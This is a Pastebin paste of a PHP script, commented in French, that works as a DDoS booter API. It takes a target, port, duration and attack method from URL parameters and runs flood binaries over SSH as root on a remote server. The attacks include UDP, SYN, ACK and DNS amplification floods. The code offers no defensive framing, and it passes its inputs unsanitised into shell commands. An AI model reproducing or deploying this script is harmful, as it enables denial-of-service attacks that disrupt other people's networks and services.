Advertisement
Guest User

Untitled

a guest
Nov 9th, 2016
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.64 KB | None | 0 0
  1.  
  2. <?php
  3.  
  4. // () Script Public Edited by Azk' ()
  5.  
  6.  
  7. ignore_user_abort(true);
  8. set_time_limit(0);
  9.  
  10. // Début de la configuration
  11. $server_ip = ""; // Adresse IP du serveur
  12. $server_pass = ""; // Mot de passe du serveur
  13. $server_user = "root"; // Nom d'utilisateur du serveur (Par défaut root)
  14. // Fin de la configuration
  15.  
  16. $host = $_GET['target'];
  17. $port = $_GET['port'];
  18. $time = $_GET['time'];
  19. $key = $_GET['key'];
  20. $method = strtoupper($_GET['method']);
  21.  
  22.  
  23. if ($key == "NEMO123" || $key == "Azkleroi") die("tamere");
  24. if($host == "85.170.163.86" || $host == "127.0.0.1") die("IP Blacklisted");
  25. if ($time > 3600) die("Vous ne disposez pas d'autant de secondes!"); // Pour que les personne ne peuvent pas mettre plus de 3600 secondes.
  26.  
  27. if (filter_var($host, FILTER_VALIDATE_URL) || filter_var($port, FILTER_VALIDATE_URL) || filter_var($time, FILTER_VALIDATE_URL)) {
  28. die("Les URL[HTTP] ainsi que les caractères spéciaux ont été désactiver."); // Désactive les url dans le champ "Port , Time , Target pour éviter les capture de serveur"
  29. }
  30.  
  31. if ($method == "SUDP") { $command = "./sudp ".$host." ".$port." 10 ".$time; }
  32. if ($method == "VSE") { $command = "./vse ".$host." ".$port." 10 ".$time; }
  33. if ($method == "DNS") { $command = "./dnsamp ".$host." ".$port." dns_list.txt 1 ".$time; }
  34. if ($method == "ACK") { $command = "./ack ".$host." ".$port." 10 -1 ".$time; }
  35. if ($method == "XSYN") { $command = "./xsyn ".$host." ".$port." 10 -1 ".$time; }
  36. if ($method == "SSYN") { $command = "./issyn ".$host." ".$port." -1 ".$time; }
  37. if ($method == "TS3") { $command = "./ts3_lite ".$host." ".$port." ".$time." 10"; }
  38. if ($method == "SOURCE") { $command = "./vse ".$host." ".$port." 10 ".$time; }
  39. if ($method == "TCPBYPASS") { $command = "./issyn ".$host." ".$port." 10 -1 ".$time; }
  40. if ($method == "UDPBYPASS") { $command = "./sudp ".$host." ".$port." 2 ".$time; }
  41. if ($method == "STOP") { $command = "pkill ".$host." -f"; }
  42.  
  43.  
  44.  
  45. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  46. if(!($con = ssh2_connect($server_ip, 22))){
  47. echo "Erreur : Problème de connexion";
  48. } else {
  49.  
  50. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  51. echo "Erreur : Utilisateur ou mot de passe incorrect";
  52. } else {
  53.  
  54. if (!($stream = ssh2_exec($con, $command ))) {
  55. echo "Erreur : Impossible d'éxécuter les commandes\n";
  56. } else {
  57.  
  58. stream_set_blocking($stream, true);
  59. $data = "";
  60. while ($buf = fread($stream,4096)) {
  61. $data .= $buf;
  62. }
  63. echo "Done sur $host :) Pdt $time ";
  64. fclose($stream);
  65. }
  66. }
  67. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement